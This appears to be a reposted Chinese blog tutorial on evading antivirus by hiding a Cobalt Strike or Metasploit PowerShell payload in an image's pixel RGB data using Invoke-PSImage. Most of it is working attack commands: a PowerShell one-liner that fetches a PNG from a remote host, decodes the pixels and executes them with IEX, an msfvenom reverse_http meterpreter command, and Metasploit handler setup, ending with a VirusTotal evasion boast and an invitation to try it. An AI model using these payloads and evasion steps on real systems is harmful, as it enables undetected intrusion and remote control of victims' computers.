博客
关于我
shellcode隐写到像素RGB免杀上线到CS
阅读量:443 次
发布时间:2019-03-06

本文共 2024 字,大约阅读时间需要 6 分钟。

利用把Shellcode隐写到图片像素RGB进行免杀上线到CS

——by:chenw


0x01 前言


前几天跟一个朋友一起搞一个站的时候,发现那个站点开了很多杀软,使用CS的powershell马无法令其上线。后续在github上找到了一个可以把shellcode隐写到图片的RGB里,然后使其过杀软的检测上线到CS。

今天打算把这个免杀的过程进行一个记录。

0x02 本地环境


靶机:win7 IP:192.168.82.136

攻击机:fsec ip:192.168.82.134

0x03 步骤


0x03-1 CS平台使用步骤

  1. 首先,使用CS生成一个ps1文件:
  2. 去github上将免杀项目下载下来,链接:
    然后将刚才生成的ps1文件放在刚刚下载的项目内与Invoke-PSImage.ps1文件在同一目录:
    再准备一张图片用于生成一张带有Payload的图片:
  3. 之后在win7里使用命令生成一个带有shellcode的图片:
#1、设置执行策略Set-ExecutionPolicy Unrestricted -Scope CurrentUser#2、导入ps1文件Import-Module .\Invoke-PSimage.ps1#3、生成带有shellcode的图片Invoke-PSImage -Script .\payload.ps1 -Image .\shell.jpg -Out .\shell.png -Web

之后会得到这么一串代码:

sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/shell.png"));$o=a Byte[] 4320;(0..3)|%{foreach($x in(0..1079)){$p=$g.GetPixel($x,$_);$o[$_*1080+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))

并且会得到带有shellcode的图片shell.png:
接着将得到的shellcode里的"
hell.png"改为我们自己的http服务,这里我使用python3架起一个http服务,命令为:

python3 -m http.server 80

4. 最后来到win7运行该powershell,看CS上是否上线:
成功上线。叫上小伙伴来一起快乐的上号😏
把其放到virustotal上进行检测,结果如下:
免杀效果还是很nice的。

0x03-2 MSF平台使用步骤

  1. 首先使用msf生成一个ps1文件,命令如下:
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.82.134 LPORT=7788 -f psh-reflection > msf.ps1

后面老规矩,把它丢到与Invoke-PSImage.ps1文件在同一目录,后面操作相同,参考CS平台,生成带有shellcode的图片,然后放入前面架设的http服务内,进行区别,图片叫msf.png:
老规矩,将得到的ps代码里的地址改为自己vps的地址。
接着在fsec上进行监听:

msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcpmsf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_http payload => windows/x64/meterpreter/reverse_httpmsf6 exploit(multi/handler) > set lhost 192.168.82.134lhost => 192.168.82.134msf6 exploit(multi/handler) > set lport 7799lport => 7799msf6 exploit(multi/handler) >

然后在靶机上运行该代码使其上线:
成功上线。

0x04 结尾


这么好用的免杀还不赶紧自己动手去试一试

0x05 免责声明

严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !

转载地址:http://reakz.baihongyu.com/

你可能感兴趣的文章
mysql一个字段为空时使用另一个字段排序
查看>>
MySQL一个表A中多个字段关联了表B的ID,如何关联查询?
查看>>
MYSQL一直显示正在启动
查看>>
MySQL一站到底!华为首发MySQL进阶宝典,基础+优化+源码+架构+实战五飞
查看>>
MySQL万字总结!超详细!
查看>>
Mysql下载以及安装(新手入门,超详细)
查看>>
MySQL不会性能调优?看看这份清华架构师编写的MySQL性能优化手册吧
查看>>
MySQL不同字符集及排序规则详解:业务场景下的最佳选
查看>>
Mysql不同官方版本对比
查看>>
MySQL与Informix数据库中的同义表创建:深入解析与比较
查看>>
mysql与mem_细说 MySQL 之 MEM_ROOT
查看>>
MySQL与Oracle的数据迁移注意事项,另附转换工具链接
查看>>
mysql丢失更新问题
查看>>
MySQL两千万数据优化&迁移
查看>>
MySql中 delimiter 详解
查看>>
MYSQL中 find_in_set() 函数用法详解
查看>>
MySQL中auto_increment有什么作用?(IT枫斗者)
查看>>
MySQL中B+Tree索引原理
查看>>
mysql中cast() 和convert()的用法讲解
查看>>
mysql中datetime与timestamp类型有什么区别
查看>>